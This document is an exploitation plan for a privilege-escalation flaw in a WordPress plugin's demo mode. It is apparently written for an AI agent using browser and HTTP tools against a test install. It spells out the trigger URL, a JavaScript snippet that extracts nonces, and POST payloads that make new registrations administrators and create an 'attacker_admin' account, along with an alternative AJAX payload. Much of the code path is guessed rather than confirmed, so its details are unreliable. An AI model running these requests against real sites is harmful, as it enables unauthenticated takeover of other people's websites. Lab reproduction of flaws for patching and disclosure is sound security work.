Exploitation Research Plan: CVE-2026-9842 (Backstage <= 1.4.2)

1. Vulnerability Summary

The Backstage – Customizer Demo Access plugin (version <= 1.4.2) contains a privilege escalation vulnerability. The plugin's purpose is to provide a "Demo Mode" for the WordPress Customizer, allowing users to preview changes. To facilitate this, it creates a dedicated role, backstage_customizer_user.

The security flaw exists because this role is granted the manage_options capability. While intended to allow Customizer access, manage_options is the most powerful capability in WordPress, typically reserved for Administrators. If the plugin allows unauthenticated visitors to trigger "Demo Mode" (setting their effective permissions to those of the backstage_customizer_user role), they can bypass the Customizer interface and access core WordPress administrative functions, such as updating arbitrary site options.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php or /wp-admin/options.php.
• Vulnerability Trigger: A mechanism (likely a query parameter or cookie) that activates "Demo Mode" for unauthenticated visitors.
• Payload Parameter: default_role and users_can_register.
• Authentication Level: Unauthenticated.
• Preconditions: The plugin must be active, and "Demo Access" must be enabled (or triggerable via request).

3. Code Flow (Inferred)

1. Role Creation: During plugin initialization or activation, the plugin calls add_role( 'backstage_customizer_user', ..., array( 'manage_options' => true ) ).
2. Access Hook: The plugin likely hooks into init or plugins_loaded to check for a demo access trigger (e.g., $_GET['backstage_demo'] or a specific cookie).
3. Privilege Elevation: If the trigger is detected, the plugin programmatically sets the current user to a dummy user with the backstage_customizer_user role or uses the user_has_cap filter to grant manage_options to the session.
4. The Sink: Because the visitor now effectively possesses manage_options, WordPress core allows them to access options.php or the wp_ajax_update_options action.
5. Exploitation: The attacker sends a request to update default_role to administrator.

4. Nonce Acquisition Strategy

WordPress core protection for options.php and admin-ajax.php settings updates requires nonces (e.g., _wpnonce). In "Demo Mode," the plugin must expose the Customizer interface to the visitor. This interface likely enqueues scripts that contain valid nonces for the "demo user" session.

Strategy:

1. Identify Trigger: Search the plugin source for where backstage_customizer_user is used or where demo mode is toggled. (Inferred: Look for backstage_demo=1 or similar).
2. Create Page: Create a page containing a trigger or simply navigate to the site root with the demo parameter.
3. Extract Nonces: Use browser_eval to extract nonces from the global JavaScript scope.

Specific JavaScript Target (Inferred):

• Variable: window.backstage_settings?.nonce or window.wp.customize.settings.nonce.

5. Exploitation Strategy

The goal is to update the site settings to allow anyone to register as an Administrator.

Step 1: Activate Demo Session and Extract Nonce

Request:

• Tool: browser_navigate
• URL: http://[target-ip]/?backstage_demo=1 (Targeting the demo trigger).

Extraction:

• Tool: browser_eval
• Script: window._wpCustomizeSettings?.nonce || document.querySelector('input[name="_wpnonce"]')?.value

Step 2: Update WordPress Options

Once the demo session is active and a nonce is acquired, use the manage_options capability to change the default role.

Request:

• Tool: http_request
• Method: POST
• URL: http://[target-ip]/wp-admin/options.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  option_page=general&
  action=update&
  _wpnonce=[EXTRACTED_NONCE]&
  users_can_register=1&
  default_role=administrator
  

Step 3: Register New Admin Account

Request:

• Tool: http_request
• Method: POST
• URL: http://[target-ip]/wp-login.php?action=register
• Body: user_login=attacker_admin&user_email=attacker@example.com

6. Test Data Setup

1. Install Plugin: wp plugin install backstage --version=1.4.2 --activate
2. Configure Plugin: Ensure the "Demo Access" feature is enabled in the plugin settings (if it's not enabled by default).
3. Verify Default State:
   • wp option get default_role (Should be subscriber).
   • wp option get users_can_register (Should be 0).

7. Expected Results

• The options.php request should return a 302 Redirect back to the general settings page, indicating success.
• The WordPress site configuration will be modified such that any new user registration results in an Administrator account.

8. Verification Steps

After performing the HTTP exploit, verify the changes via WP-CLI:

1. Check Registration Status: wp option get users_can_register (Expected: 1).
2. Check Default Role: wp option get default_role (Expected: administrator).
3. Check New User: wp user list (Confirm attacker_admin exists with the administrator role).

9. Alternative Approaches

• Direct AJAX: If options.php is blocked by additional security, try admin-ajax.php with action=update-options.
  • Body: action=update-options&option_page=default&users_can_register=1&default_role=administrator&_wpnonce=[NONCE]
• Plugin Settings Abuse: Check if the plugin itself has a settings save function that doesn't properly validate which options are being saved (Mass Assignment). Search for update_option($_POST['...']) within the plugin's own AJAX handlers.